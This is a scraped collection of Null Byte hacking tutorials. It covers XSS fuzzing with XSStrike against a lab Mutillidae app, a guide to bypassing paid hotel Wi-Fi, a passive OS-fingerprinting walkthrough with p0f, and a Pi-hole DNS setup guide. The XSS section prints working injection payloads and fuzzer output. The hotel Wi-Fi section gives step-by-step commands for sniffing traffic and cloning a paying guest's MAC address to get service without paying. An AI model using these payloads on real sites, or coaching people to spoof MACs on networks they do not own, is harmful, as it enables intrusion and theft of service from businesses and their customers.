------------------------------------------------------------ 52 //document.getElementById("idSystemInformationHeading").innerHTML = l_loginMessage; 53 document.getElementById("idHintsStatusHeading").innerHTML = 'Hints: ' + l_hintsStatus; 54 document.getElementById("idSecurityLevelHeading").innerHTML = 'Security Level: ' + l_securityLevel + ' (' + l_securityLevelDescription + ')'; 446 Google Hacking Database 495 <a onclick="document.location.href='';" 584 window.localStorage.setItem("LocalStorageTarget","This is set by the index.php page"); 585 window.sessionStorage.setItem("SessionStorageTarget","This is set by the index.php page"); ------------------------------------------------------------ [+] Potentially vulnerable objects found [+] WAF Status: Offline [!] Testing parameter: page [!] Reflections found: 4 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 9256 ------------------------------------------------------------ [+] Payload: "><A%0aoNMOUseoveR%0d=%0d(confirm)() x>z [!] Efficiency: 100 [!] Cofidence: 10 [?] Would you like to continue scanning? [y/N]This tool begins by checking for DOM-based XSS vulnerabilities, and the potentially vulnerable parameters are displayed on the screen. Reflected XSS is tested for next, and the interactive payload generator displays the payload and the projected likelihood of success. To continue scanning, hityat the prompt.------------------------------------------------------------ [+] Payload: "><d3v%0aONPoINtERENtER+=+(confirm)()>z [!] Efficiency: 100 [!] Cofidence: 10 [?] Would you like to continue scanning? [y/N]We can also skip the DOM-based checking with the--skip-domoption.python3 xsstrike.py -u http://172.16.1.102/mutillidae/index.php?page=dns-lookup.php --skip-dom XSStrike v3.0-beta [+] WAF Status: Offline [!] Testing parameter: page [!] Reflections found: 4 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 9256 ------------------------------------------------------------ [+] Payload: "><HtmL%09oNPoINterENtEr%0d=%0dconfirm() x// [!] Efficiency: 100 [!] Cofidence: 10 [?] Would you like to continue scanning? [y/N]XSStrike also contains fuzzing capabilities used to test filters and WAFs. This can be extremely slow, though, because it uses random delay requests to probe the application. To speed things up, we can set the delay to one second with the-dflag alongside the--fuzzeroption.python3 xsstrike.py -u http://172.16.1.102/mutillidae/index.php?page=dns-lookup.php --skip-dom --fuzzer -d 1 XSStrike v3.0-beta [+] WAF Status: Offline [!] Fuzzing parameter: page [passed] <test [passed] <test// [passed] <test> [passed] <test x> [passed] <test x=y [passed] <test x=y// [passed] <test/oNxX=yYy// [passed] <test oNxX=yYy> [passed] <test onload=x [passed] <test/o%00nload=x [passed] <test sRc=xxx [passed] <test data=asa [passed] <test data=javascript:asa [passed] <svg x=y> [passed] <details x=y// [passed] <a href=x// [passed] <emBed x=y> [passed] <object x=y// [passed] <bGsOund sRc=x> [passed] <iSinDEx x=y// [passed] <aUdio x=y> [passed] <script x=y> [passed] <script//src=// ...There are many other features included in this tool, and there are sure to be even more as XSStrike undergoes further development.Wrap UpFuzzing is an extremely useful technique for discovering vulnerabilities in a timely and thorough manner. Today, we explored three fuzzing tools in an effort to find XSS flaws in a vulnerable web application: Burp Suite, Wfuzz, and XSStrike. Knowing how to use tools like these will improve your effectiveness as a white hat hacker and lead you on the path to success.Don't Miss:How to Find XSS Vulnerable Sites with the Big List of Naughty StringsFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bymarkusspiske/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1Hack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Hack a remote Internet browser with XSS ShellHow To:Find XSS Vulnerable Sites with the Big List of Naughty StringsHow To:Exploit Development-Everything You Need to KnowHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Hack SAML Single Sign-on with Burp SuiteHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISMeltdown & Spectre:Here's How to Keep Your iPhone or Android Phone SecureNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersNews:Hackers Claim 1$ Million Bounty for Security Flaw in iOS 9How To:Hack websites using cross-site scripting (XSS)Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreNews:Backtrack 5 Security EssentialsNews:Bugzilla Cross Site Request ForgeryNews:Brazil keeps getting away with more than two hands.
How to Get Free Wi-Fi from Hotels & More Β« Null Byte :: WonderHowTo
Often times when staying at a hotel or anywhere for that matter, you'll whip out your laptop and check the local area for Wi-Fi. I know you've all been in my shoes when you find an unsecured network that appears to be public Wi-Fi belonging to the hotel or airport, and you connect to it. You connect fast and perfectly, only to find that when you open your browser, it says you don't have an account, and are filtered from accessing the web. This is because the owners of the network want to keep things simple by having no password, but only want paying customers to be able to use their network.As always,Null Bytehas a way around it. The "security" on these access points work by filtering out MAC (Meda Access Control) addresses, which are your wired and wireless interfaces' unique addresses. They are burned in to your interfaces. However, you can temporarily change them from within your OS. Simply change yours to match a client thatdoesget the paid service.I'm going to go over how to do this in Arch Linux. This is possible in Windows, but requires a wireless interface capable of monitor mode. I can go over how to do it on Windows inIRCif you have the proper interface.Step1Install Necessary ProgramsYou're going to need a few programs before we do this. We need to be able to sniff traffic and have our drivers set up to monitor traffic.DownloadWireshark, or use your package manager to install it. Linux users, download the source code and extract with (in a terminal):tar zxvf <archive name>Change to the new directory and install with this command:./configure && make && sudo make installFollow my guide oncompat-wirelessto make sure your card can go into monitor mode, and you will be ready to move forward.Step2Enable Monitor Mode & Sniff TrafficThese are the commands to change your MAC address and enable monitor mode so you can sniff the traffic we are looking for:sudo ifconfig wlan0 down && sudo ifconfig wlan0 mode monitor && sudo ifconfig wlan0 upNow, start up wireshark and look for a client IP that is using the AP. Type "http" into the filter field to make sure you're only getting HTTP traffic.Step3Spoof Your MACWait for someone to make a request to the router. Any IP that doesn't end in ".1" should work. Click on that packet, and search for a MAC address in the hexadecimal field below. Then, make that your address with this command:sudo ifconfig wlan0 down && sudo ifconfig hw ether <ST:OL:EN:MA:C!:!!> && sudo ifconfig wlan0 upNow, just connect to the access point and you will see that you can get past the filter!Here's a quick video showing you how to look through the packets, in case you don't understand.Please enable JavaScript to watch this video.I hope this was an informative Null Byte, come join theForums!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byaustin neonRelatedHow To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoNews:Social Engineering for the hell of it.How To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemNews:How to Use a Roku, Fire Stick, or Chromecast on Hotel TVsHow To:Connect to Xbox LIVE in a Hotel Room Using Your Computer, Phone, or Tablet's MAC AddressHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Automatically Connect to Free Wi-Fi Hotspots (That Are Actually Free) on Your Samsung Galaxy Note 2How To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Kick People Off Your Wi-Fi Network Using Your Nexus 7How To:Share Wi-Fi Adapters Across a Network with Airserv-NgWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Recover a Lost WiFi Password from Any DeviceToday's Tidbit:Expensive Hotels Nickel and Dime Their CustomersNews:Donkey HotelHow To:Auto-Toggle Your Android Device's Wi-Fi On and Off When Near or Away from a HotspotNews:PSP2 (Next Generation Portable) or NGPWeds Night Pick:Hot Hot Heat @ Bootleg Theater $12
Hack Like a Pro: How to Use the New p0f 3.0 for OS Fingerprinting & Forensics Β« Null Byte :: WonderHowTo
Welcome back, my fledgling hackers!A short while ago, I did a tutorial onconducting passive OS fingerprinting with p0f. As you remember, p0f is different from other operating system fingerprinting tools as it does not send any packets to the target, instead it simply takes packets off the wire and examines them to determine the operating system that sent them.p0f relies upon the different ways that each OS implements the TCP/IP stack, and these different implementations leave their unique fingerprints on the TCP/IP packets. These differences are found in four key fields of the TCP/IP packetβ€”theDF,TTL,Window, andTOS.In ourprevious p0f tutorial, we had tested p0f against older operating systems and it did its fingerprinting superbly! When we tried it against Windows 7 and other more current systems, we found that the signatures had not been updated since 2006.We could have collected the signatures of different systems and added them to the/etc/p0f/p0f.fpfile to bring the signatures database current, but I mentioned at the time that the developers of p0f had finally updated it and released version 3.0 after lying dormant for over 6 years.In the new version, they have not only updated the signatures, but also added new capability to p0f. The new version has been included in the latest release ofKali(1.0.6), so let's take a look at it here. For those usingBackTrackor early versions of Kali, you can download the new p0fhere.Step 1: Fire Up Kali & Open p0fLet's start by firing up Kali and opening p0f 3.0 up. Interestingly, Kali has placed p0f underForensictools, so to open it, we need to go to Kali Linux -> Forensics -> Network Forensics -> p0f.When we open it, we are greeted with a help screen like that below. The syntax is pretty much the same as the earlier versions; it's simply the command and the interface.kali>p0f -i eth0Step 2: Send Packets from Windows Server 2003Now, like we didwith the older p0f 1.6, let's send packets from a Windows Server 2003 system. We can do that in a number of waysβ€”ftp, telnet,netcat, or simply by opening a browser directed to the IP address of our Kali system.When we do so, we get the results below. p0f identifies the IP address and the link and then identifies the OS as a "Windows NT kernel". Not real specific, but accurate.Step 3: Send Packets from Windows XPLet's now try the same with Windows XP and see what p0f can decipher for us. In this case, I'll try connecting to an ftp server on Kali.Once again, p0f is accurate, but not very specific. It identifies the OS as Windows NT kernel. Remember that p0f is using the differences in the TCP/IP stack implementation as the way of identifying the OS and if a range of operating systems are using the same TCP/IP stack, it cannot differentiate between them.Step 4: Send Packets from Windows 7One of the issues we found with the older p0f is that the signatures were old (no updates after 2006) and it did not have signatures for Windows 7, 8, Server 2008, and Server 2012. Let's test p0f on one of the modern systems, such as Windows 7.As you can see, it accurately identified it as "Windows 7 or 8". As these two systems are from the same build, it can't distinguish the difference between them. As a hacker, in most cases, the differences are unimportant.Step 5: Send Packets from UbuntuNow let's try sending some packets from a Ubuntu machine.As you can see, p0f accurately deciphered that the system sending the packets was a Linux system with 3.x kernel.Step 6: Run p0f for ForensicsIn our final test of the effectiveness of the new p0f, let's just let p0f run on our interface and see what it picks up. This can be useful for doing forensics on a compromised system or a system under attack.When I let p0f run for a short while on my eth0 interface, I soon started to get entries like those above. I found this puzzling. My Kali system was connecting to an unknown IP address at 64.182.234.103.In the screenshot above, it identifies it as a Linux server and 17 hops away. This seems odd for several reasons. First, I have not been connecting to any website or server at that address. In fact, my system has been completely idle. Second, 17 hops is longβ€”way long. Generally, you can connect to nearly any server on the planet within 15 hops. This is something I should investigate!As I scroll down the p0f entries, I can get more information on this server that my Kali system connected to. I can see that my system connected from my port 37416 to its port 80 and that this server has been up over 31 straight days.Further investigation reveals that this IP address belongs toowncloud.org. I never went to this address, but apparently the folks at Offensive Security have put a client in Kali that is connecting to this site automatically. From the documentation on the website, I was able to decipher that it's apparently a free cloud service similar to Google Apps.I'm not happy about this! There is nothing that I can find in the Kali documentation regarding this. I'm not saying that this is anything malicious, but I think the folks at Offensive Security should have told us explicitly that they have included a client that automatically connects to this cloud service.The new p0f is an improvement over the older version, but still is not perfect. Passive reconnaissance has the advantage of being undetectable, but the disadvantage of lower reliability of results. A tool like p0f, though, can be invaluable in identifying the operating systems of the clients that are accessing your website or the systems passing your wire while sniffing traffic.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal coded fingerprint image viaShutterstock, remixed by Justin Meyers/WonderHowToRelatedHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow To:Become a Computer Forensics Pro with This $29 TrainingHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Obscure your OS fingerprintHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Apple vs. Samsung:The Battle of the Big Phones β€” Galaxy Note 10+ vs. iPhone 11 Pro MaxNews:Latest Huawei Mate 20 Rumors & Leaks β€” Face ID, Massive Battery & Wireless ChargingHow To:Fingerprint-Lock Apps on Android Without a Fingerprint ScannerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Lock Any App with a Fingerprint on Android MarshmallowHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Get the Pixel's Fingerprint Swipe Notification Gesture on Other DevicesHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:Why YOU Should Study Digital ForensicsHow To:Use Your Fingerprint Scanner to Do Almost Anything with TaskerHow To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint ScannerNews:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHow To:Cut, copy, and paste on your iPhoneNews:New Biometrics Update Makes the Galaxy S10's Fingerprint Scanner 4 Times FasterHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerHow To:This Hack Lets You Touch Your Galaxy's Home Key Instead of Pressing ItNews:OnePlus 5 Looks to Have a Rear Fingerprint SensorHow To:Unlock Your Mac Using Your iPhone's Touch ID or Lock Screen PasscodeHow To:Use All 10 Fingerprints for Touch ID on Your iPhone β€” Not Just 5 of ThemAndroid Basics:How to Unlock Your Phone with Your FingerprintHow To:Make the Fingerprint Scanner Work Faster on Your Galaxy DeviceHow To:Use Your Phone's Fingerprint Scanner to Unlock Your Windows PCNews:Google Pixel's Pros & ConsNews:10 Great 99 Cent Apps You Need on Your Android Right NowHow To:Secure Any Android App with Your FingerprintNews:Everything You Need to Know About the OnePlus 7 ProHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)How To:Make a Windows-to-Go Ready USB Drive in Windows 8Gadget Hacks' Wish List:Features We Want in Android NHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:Fingerprint LibraryNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:The Official Google+ Insider's Guide IndexNews:New Apps Let You Sign into Bank of America, Chase, & State Farm with Your Fingerprint
Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & More Β« Null Byte :: WonderHowTo
ThePi-holeproject is a popular DNS-level ad blocker, but it can be much more than that. Its DNS-level filtering can also be used as a firewall of sorts to prevent malicious websites from resolving, as well as to keep privacy-killing trackers such as Google Analytics from ever loading in the browser. Let's take a look at setting a Pi-hole up and customizing a blacklist to suit your needs.If you're not familiar with what DNS is, let's start there.A domain name server, or DNS, is the equivalent of the internet's address book. It's what translates between human-readable websites such aswonderhowto.comand network-navigable IP addresses such as 104.193.19.59. In typical operation, your device will issue a DNS request to its assigned router. Then the router will forward that request to an upstream DNS server, one typically provided by your internet service provider.Don't Miss:Turn a Raspberry Pi 4 into the Ultimate Mini Hacking StationThe Pi-hole works by replacing your router in that chain. Once up and running, a Pi-hole will first check a blacklist and whitelist to determine if the domain should be resolved. If a URL is on the blacklist, it will immediately return a block page, which prevents that request from even leaving your local network. If the Pi-hole otherwise approves the request, then it will first check a local cache to avoid sending the same request to an upstream DNS provider over and over again.If it doesn't have the IP address in its cache, then the Pi-hole will request the IP from the upstream DNS provider you decide on. The upstream DNS provider can be anything such asGoogle's public DNSorOpenDNS. These DNS providers then use recursive resolvers to work through the URL and come up with an IP address.The process provides several benefits to the end-user. First, it means that the Pi-hole will work across all platforms and devices connected to the network, whether it be your smart TV, another IoT device, or the computer you use to browse the web.Second, it can prevent tracking programs you may not be aware of or can't control, like with an Xbox or PlayStation.Third, DNS blocking could prevent compromised devices from communicating back to control servers if your blacklist is maintained correctly.Fourth, it can flat out prevent you from going to phishing websites accidentally. If you type in a phishing URL or click on a phishing link, and that URL is on your blacklist, then the link we'll just look like a dead website.Finally, if the website is legitimate and the code does load, URLs referenced in the webpage will also be filtered by the Pi-hole. It results in faster loading of webpages as there's less to load, and it stops trackers like Google Analytics from contacting Google's servers.Now let's take a look at what you need to make your own Pi-hole.RequirementsWith a name like Pi-hole, you might rightly assume that you have to have aRaspberry Pi. However, that's not exactly true. The Pi-hole code can be run on any Linux computer, whether that's a Raspberry Pi, a Raspberry Pi alternative, or a Linux laptop.However, it's worth keeping in mind that while the CPU requirements are low, it does need to be running 24/7. If at any point it's powered down, you'll break the internet on your local network. That's why it's generally advised to run the Pi-hole on a Raspberry Pi, as they're small with low power requirements and designed to run continuously.The Raspberry Pi Zero W or WH is the cheapest option and is still powerful enough to run as a Pi-hole, but keep in mind that you'll have your DNS server connected over Wi-Fi. So if the Wi-Fi goes out for any reason, so does the internet on all devices on the network. It can be a real pain when you're roommate decides to microwave a hot pocket and breaks the web for the entire house.That's why I encourage you to use a Raspberry Pi with Ethernet built-in or an Ethernet adapter for the Raspberry Pi Zero W or WH. For a more detailed rundown of all the hardware and software requirements,visit Pi-hole's website.If you're going with a Pi, make sure to have the following at a minimum.Raspberry Pi 4,Pi 4 B,Pi 3 B, orPi 3 B+(with Ethernet and Wi-Fi)OrRaspberry Pi 3 A+,Pi Zero WH, orPi Zero W(with Wi-Fi only)Ethernet adapter(if you don't want to use Wi-Fi)Ethernet cable(if using Ethernet)16 GB MicroSD card(to load the OS on)MicroSD card reader(to flash and configure the OS)Power adapter(to keep the Pi-hole on 24/7)If you want a display incorporated, which can show real-time stats on the Pi-hole while it's running, try bundling all of the below products together. They'll give your network closet that extra little bit of geek panache. Again, I recommend a Raspberry Pi Zero W or WH.Raspberry Pi Zero WH(it has the headers soldered on)Adafruit PiOLED(a 128x32 monochrome OLED display)Ethernet adapter(if you don't want to use Wi-Fi)Ethernet cable(if using Ethernet)Raspberry Pi Zero case(to protect everything)32 GB microSDHC Class 10 card with NOOBS 3.1(to load the OS on)MicroSD card reader(to flash and configure the OS)Power adapter(to keep the Pi-hole on 24/7)For a larger display, you can try the following setup instead:Raspberry Pi 4,Pi 4 B,Pi 3 B, orPi 3 B+(with Ethernet and Wi-Fi)OrRaspberry Pi 3 A+,Pi Zero WH, orPi Zero W(with Wi-Fi only)Ethernet adapter(if you choose a model without Ethernet)Ethernet cable(if using Ethernet)Adafruit PiTFT Plus(a 320x240 2.8" TFT + resistive touchscreen display)2x20-pin header(if needed, to connect the Pi and display)Raspberry Pi case base(for Pi 2, 3, B+)Faceplate with buttons(for the display)32 GB microSDHC Class 10 card with NOOBS 3.1(to load the OS on)MicroSD card reader(to flash and configure the OS)Power adapter(to keep the Pi-hole on 24/7)Step 1: Download Raspberry Pi OSFirst, we'll prepare the OS we'll be running Pi-hole on, which would be Raspberry Pi OS, formerly Raspbian. You can download the Raspberry Pi OS image directly, or torrent it via your favorite Torrent client, from theRaspberry Pi's download page. The Lite version is all you need, but feel free to download the full image if you want.Step 2: Flash the OS to the SD CardOnce the download is complete, write the image to the microSD card. It's a good idea to unplug external hard drives and other USB devices you have on your computer. Then you can connect your microSD using the card reader. It's essential to do to prevent flashing to the wrong device accidentally.If you already have a program for flashing live images to the card, use that. Otherwise,download and install Etcher, as it's the easiest to use for making bootable SD cards. It works on Windows, macOS, and Linux, while also having a simple-to-use interface. Open Etcher when it finishes installing.Etcher should detect what operating system you are using, but if not, make sure you download the correct version based on your OS, then open the file and follow the on-screen instructions for installation. When it's installed, open the program (if it doesn't auto-open after installation), and select the image you just downloaded.Next, be sure the proper drive is selected, then "Flash" the image. Once it's done, safely eject the SD card.There is a rare chance that Etcher will cause an error. If that does happen, useApplePi-Bakerfor macOS orWin32 Disk Imagerfor Windows.Step 3: Configure Your Raspberry PiOnce Raspberry Pi OS has been flashed to the microSD card, make sure the card is ejected safely, then remove and reinsert it to remount the drive. Now, let's find the card by listing our USB storage devices.~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 80G 0 disk β”œβ”€sda1 8:1 0 78G 0 part / β”œβ”€sda2 8:2 0 1K 0 part └─sda5 8:5 0 2G 0 part [SWAP] sdd 8:48 1 29.7G 0 disk β”œβ”€sdd1 8:49 1 256M 0 part /media/kali/boot └─sdd2 8:50 1 1.5G 0 part sr0 11:0 1 57M 0 romI can tell from above that "sdd1" is the Raspberry Pi OS boot drive. Let's change into that directory.~$ cd /media/kali/boot /media/kali/boot$Then, add a blank "ssh" file (with no file extension) to its boot folder. That will let us SSH into the Raspberry Pi to set up the Pi-hole./media/kali/boot$ cat > sshTo have the Pi connect to Wi-Fi, add another file named "wpa_supplicant.conf" to the boot folder./media/kali/boot$ cat > wpa__supplicant.confOpen the file in nano./media/kali/boot$ nano wpa__supplicant.confAnd then, add the following, replacing "WiFi Name" and "password" with your information. Both must be in quotes.country=US update_config=1 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev network={ scan_ssid=1 ssid="WiFi Name" psk="password" key_mgmt=WPA-PSK }Once that's done, hitControl-Xto quit,Yto save, andEnterto finish up. Then, eject the microSD card safely, and insert it into your Raspberry Pi. Finally, plug the Ethernet cable into your router, plug in the Pi's power adapter, and wait a few seconds for it to boot up.Step 4: SSH into Your Raspberry PiNow that our Raspberry Pi is set up, we need to connect to it using SSH. First, find its IP address on the local network. An easy way to do so is to open your router, usually at 192.168.1.1, and look through the connected devices for the Raspberry Pi's IP address. You can also do anarp-scanin a new Terminal window.~$ arp-scan -l Interface: en0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.77.1 b8:27:eb:4d:1f:f2 Raspberry Pi Foundation 192.168.77.128 b4:f1:da:ec:4c:e7 (Unknown) 516 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 2 respondedAbove, I can see that the Raspberry Pi has an IP address of 192.168.77.1. Once you have yours, use your favorite SSH app, such asPuTTYor theChrome Secure Shell extension, to connect to it using the usernamepi@youripaddress, then enter the passwordraspberrywhen prompted.Don't Miss:Use the Chrome Secure Shell App to SSH into Remote Devices~$ ssh pi@192.168.77.1 The authenticity of host '192.168.77.1 (192.168.77.1)' can't be established. ECDSA key fingerprint is SHA256xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. Are you sure you want to continue connecting (yes/no)? yes Waarning: Permanently added '192.168.77.1' (ECDSA) to the list of known hosts. pi@192.168.77.1's password: raspberryAlternatively, if you have a sparemonitor, keyboard, and mouselying around, you can attach them directly to the Raspberry Pi and open up a terminal that way.Step 5: Install Pi-Hole on Your Raspberry PiOnce you have a terminal open, it's time to begin installing Pi-hole. The Pi-hole team has made it extremely easy by automating the entire process, so you just need to run the following command to get started.pi@raspberrypi$ curl -sSL https://install.pi-hole.net | bashHowever, if you're extremely security conscious, you may be aware thatpiping to bash is a somewhat controversial methodas there's potential to download a malicious link unintentionally. If you're nervous about that, you can manually clone the GitHub repository, check the code yourself, then run bash instead, just like below.pi@raspberrypi$ git clone --depth 1 https://github.com/pi-hole/pi-hole.git Pi-hole Cloning into 'Pi-hole'... remote: Enumerating objects: 98, done. remote: Counting objects: 100% (98/98), done. remote: Compressing objects: 100% (90/90), done. remote: Total 98 (delta 13), reused 36 (delta 0), pack-reused 0 Receiving objects: 100% (98/98), 156.96 KiB | 1.43 MiB/s, done. Resolving deltas: 100% (13/13), done. Updating files: 100% (82/82), done. pi@raspberrypi$ cd "Pi-hole/automated install/" pi@raspberrypi/Pi-hole/automated install$ sudo bash basic-install.shStep 6: Follow the Installation PromptsEither way you begin installing Pi-hole above, it should have the same result of launching the Pi-hole installer. At first, there will just be some text in the terminal as it performs checks.[βœ—] Root user check [i] Script called with non-root privileges The Pi-hole requires elevated privileges to install and run Please check the installer for any concerns regarding this requirement Make sure to download this script from a trusted source [βœ“] Sudo utility check stty: 'standard input': Inappropriate ioctl for device [βœ“] Root user check .;;,. .ccccc:,. :cccclll:. ..,, :ccccclll. ;ooodc 'ccll:;ll .oooodc .;cll.;;looo:. .. ','. .',,,,,,'. .',,,,,,,,,,. .',,,,,,,,,,,,.... ....''',,,,,,,'....... ......... .... ......... .......... .......... .......... .......... ......... .... ......... ........,,,,,,,'...... ....',,,,,,,,,,,,. .',,,,,,,,,'. .',,,,,,'. ..'''. [βœ“] Disk space check [βœ“] Update local cache of available packages [βœ“] Checking apt-get for upgraded packages... 153 updates available [i] It is recommended to update your OS after installing the Pi-hole! [i] Installer Dependency checks... [βœ“] Checking for apt-utils [i] Checking for dialog (will be installed) [βœ“] Checking for debconf [βœ“] Checking for dhcpcd5 [βœ“] Checking for git [βœ“] Checking for iproute2 [βœ“] Checking for whiptailAfter a minute or two, you should begin to see blue terminal windows with dialog boxes. You can pressEnterto get past the first few, but be careful not to go too fast, as some of them are actually important.The first big choice is to select whether to use Wi-Fi or Ethernet. So when you hit theChoose an Interfacescreen, pick your poison. Ethernet would be eth0; Wi-Fi would be wlan0. Use theUpandDownarrow keys to move to one of them, andSpacebarto select it. Ethernet is the preferred option if it's available β€” pressEnterto confirm.The next important choice will be which upstream DNS provider to use. All of the options listed are good, so just use your favorite. If you don't know what to use, Google is always a solid choice. Cloudflare is the fastest, according toDNSperf, a DNS metric site.After choosing which DNS to use, you need to select the blacklists to load. Seven come chosen by default and should cause little trouble. We'll discuss the blacklists later, so you can leave these at the defaults for now.Continue to leave settings at their default until you reach theSelect a privacy mode for FTLscreen. Carefully consider your choice for privacy mode. "Show everything" can be extremely helpful when troubleshooting, but if anyone gains access to the Pi-hole itself, they could quickly go back and look through your DNS history. "Disabled statistics" or using "Anonymous mode" will provide more privacy, but they make it difficult to troubleshoot, such as when something's on the blacklist and shouldn't be.You'll be returned to the regular terminal as it loads dependencies. Wait for a bit, and then you'll see anInstallation Complete!screen. Don't close this page before copying your admin webpage password at the very bottom. You'll use the password to access the Pi-hole admin settings.Step 7: Change the Password & HostnameIf you want to change the password to something easier to remember β€” or something more difficult for hackers to crack β€” use the following command in a new terminal window, and enter your new password twice.pi@raspberrypi$ pihole -a -p Enter New Password (Blank for no password): Confirm Password: [βœ“] New password setIt's also an excellent time to update the Pi's password to something other thanraspberry. If you don't, anyone on the network can get around the Pi-hole admin page by directly logging into the Pi host the Pi-hole.pi@raspberrypi$ passwd Changing password for raspberrypi. Current password: New password:After updating those passwords, it's good practice to change the hostname so that we can distinguish the Pi-hole from other devices on the network, particularly, other Raspberry Pis. Open the "hostname" file with nano, and edit "raspberrypi" to something like "Pi-hole."pi@raspberrypi$ sudo nano /etc/hostnameWhen you're done editing it, hitControl-X, thenY, 